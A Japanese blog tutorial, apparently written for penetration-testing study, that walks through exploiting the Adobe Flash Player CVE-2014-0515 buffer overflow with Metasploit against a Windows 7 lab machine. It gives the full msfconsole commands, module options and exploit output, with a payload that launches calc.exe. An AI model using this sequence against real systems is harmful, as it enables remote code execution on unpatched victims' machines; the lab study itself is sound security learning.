Metasploitを使ってWindowsの任意のコマンドを実行させる
モチベーション
ペネトレーションテストの勉強のためにMetasploitを使って、悪性URLにアクセスして来たWindows7クライアントに任意のコマンドを実行させてみる
環境
攻撃を受けるvictimクライアントと攻撃をするattackerクライアントの環境は以下の通り。
victimクライアント
- OS : Windows7 Professional SP1 32bit
- CPUアーキテクチャ: x86_64
- ブラウザ : Internet Explorer 8
- IP address : 192.168.1.59⁄24
C:\Users\sectu>systeminfo OS 名: Microsoft Windows 7 Professional OS バージョン: 6.1.7601 Service Pack 1 ビルド 7601 OS 製造元: Microsoft Corporation OS 構成: スタンドアロン ワークステーション OS ビルドの種類: Multiprocessor Free システムの種類: X86-based PC プロセッサ: 2 プロセッサインストール済みです。 [01]: x64 Family 6 Model 42 Stepping 1 GenuineIntel ~2400 Mhz [02]: x64 Family 6 Model 42 Stepping 1 GenuineIntel ~2400 Mhz
attackerクライアント
- OS : Kali Linux
- IP address : 192.168.1.53⁄24
# uname -a Linux kali 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014-06-07) i686 GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux Kali Linux 1.0.9 Release: Kali Linux 1.0.9 Codename: n/a
脆弱性のあるサードパーティソフトをインストールする
続いて、victimクライアントに脆弱性のあるサードパーティソフトウェアをインストールする。今回は昨年ゼロデイに利用されたCVE-2014-0515 Adobe Flash Player Shader Buffer Overflow | Rapid7を使ってエクスプロイトを行う。CVE-2014-0515はAdobe Flash Playerに存在するバッファーオーバーフローの脆弱性だ。脆弱性を突かれるとリモートから攻撃者がシステムを制御可能になる。2014年にはこの脆弱性を利用したゼロデイ攻撃が確認された。
それでは、Adobe Flash Playerのインストールをしよう。まず、victimでArchived Flash Player versionsにアクセスしてFlash Player11.0.1.152をダウンロードする。
続いて、ダウンロードしたZIPファイルを解凍してfp_11.0.1.152_archive > 11_0r1_152_32bit > flashplayer11_0r1_152_winax_32bit.msiを実行する。これでvictim環境が完成した。
エクスプロイトの準備
Mestasploit Framework Console(MSFconsole)を使ってエクスプロイトを行う。MSFconsoleの基本的な使い方は、Metasploit Unleashed、実践 Metasploitを参考にした。MSFConsoleを使うときの基本的な流れは、
- MSFconsoleを起動する
- エクスプロイトモジュールを選択する
- エクスプロイトモジュールの変数を設定する
- ペイロードモジュールを選択する
- ペイロードモジュールの変数を設定する
- エクスプロイトを実行
のようになる。注意点としては、2のエクスプロイトモジュールごとにエクスプロイト時に確保するメモリサイズが異なるため、メモリサイズに応じたペイロードモジュールを選択する必要があること。victimクライアントのエクスプロイト準備のためにattackerクライアントでMSFconsoleを起動してみる。
$ msfconsole
MSFconsoleが起動したらまずエクスプロイトモジュールの確保するメモリサイズと、ペイロードのサイズを確認する。今回利用するエクスプロイトモジュールAdobe Flash Player Shader Buffer Overflowの情報を確認すると、Payload information: Space 2000より
エクスプロイト時に2000 Byteのペイロード用のメモリ領域を確保することがわかる。
msf > info exploit/windows/browser/adobe_flash_pixel_bender_bof Name: Adobe Flash Player Shader Buffer Overflow Module: exploit/windows/browser/adobe_flash_pixel_bender_bof Platform: Windows Privileged: No License: Metasploit Framework License (BSD) Rank: Normal Provided by: Unknown juan vazquez Available targets: Id Name -- ---- 0 Automatic Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Retries false no Allow the browser to retry the module SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Payload information: Space: 2000 Description: This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially crafted data as its bytecode, as exploited in the wild in April 2014. This module has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13 over Windows XP SP3, Windows 7 SP1 and Windows 8. References: http://cvedetails.com/cve/2014-0515/ http://www.securityfocus.com/bid/67092 http://helpx.adobe.com/security/products/flash-player/apsb14-13.html http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/
また、ペイロードモジュールの確認をする。目的はvictimの任意のコマンドを実行させたいのでWindows Execute Commandというペイロードを使う。
msf > info windows/exec Name: Windows Execute Command Module: payload/windows/exec Platform: Windows Arch: x86 Needs Admin: No Total size: 192 Rank: Normal Provided by: vlad902 sf Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) Description: Execute an arbitrary command
エクスプロイトで確保する領域に対してペイロードの方が小さいのでこの2つのモジュールは組み合わせることができる。続いて、それぞれの変数を以下のように設定する。
use exploit/windows/browser/adobe_flash_pixel_bender_bof set SRVHOST 192.168.1.53 set URIPATH / set PAYLOAD windows/exec set CMD calc.exe
エクスプロイト、ペイロードの設定確認をすると変数の値が設定した通りになっている。
msf exploit(adobe_flash_pixel_bender_bof) > show options Module options (exploit/windows/browser/adobe_flash_pixel_bender_bof): Name Current Setting Required Description ---- --------------- -------- ----------- Retries false no Allow the browser to retry the module SRVHOST 192.168.1.53 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / no The URI to use for this exploit (default is random) Payload options (windows/exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD calc.exe yes The command string to execute EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) Exploit target: Id Name -- ---- 0 Automatic
エクスプロイトしてみる
実際にエクスプロイトして任意のコマンドを実行させる。
msf exploit(adobe_flash_pixel_bender_bof) > exploit [*] Exploit running as background job. msf exploit(adobe_flash_pixel_bender_bof) > [*] Using URL: http://192.168.1.53:8080/ [*] Server started. [*] 192.168.1.59 adobe_flash_pixel_bender_bof - Gathering target information. [*] 192.168.1.59 adobe_flash_pixel_bender_bof - Sending response HTML. [*] 192.168.1.59 adobe_flash_pixel_bender_bof - Request: /CJdXhO/ [*] 192.168.1.59 adobe_flash_pixel_bender_bof - Sending HTML... [*] 192.168.1.59 adobe_flash_pixel_bender_bof - Request: /CJdXhO/TNal.swf [*] 192.168.1.59 adobe_flash_pixel_bender_bof - Sending SWF...
エクスプロイトが成功しcalc.exe
が実行され電卓が起動した!
まとめ
今回、ペネトレーションテストの学習のために、脆弱性のあるWindowsクライアント環境を用意してMetasploitを使ってエクスプロイトをした。単純な例では機械的にMetasploit Frameworkを使うだけで簡単にターゲットのシステムを掌握できることがわかった。しかし、現実はもっと複雑な環境や条件の下ペネトレーションテストは行われる。より、高度なペネトレーションを行うためにサーバ、ネットワークの知識はもちろん、バイナリ周りの体系的な知識も身に付けて行きたい。
参考
Metasploitの基礎
CVE-2014-0515について
- 水飲み場攻撃に悪用されたFlash Playerのゼロデイ(CVE-2014-0515)をまとめてみた
- [日本語: Japanese] Adobe Flash Player Shader Buffer Overflow (APSB14-13 CVE-2014-0515) Metasploit Demo - YouTube
- CVE-2014-0515 : Buffer overflow in Adobe Flash Player before 11.7.700.279 and 11.8.x through 13.0.x before 13.0.0.206 on Windows and OS
- Analyzing the CVE-2014-0515 Exploit - The Recent Flash Zero-Day | Security Intelligence Blog | Trend Micro
- New Flash Player 0-day (CVE-2014-0515) Used in Watering-hole Attacks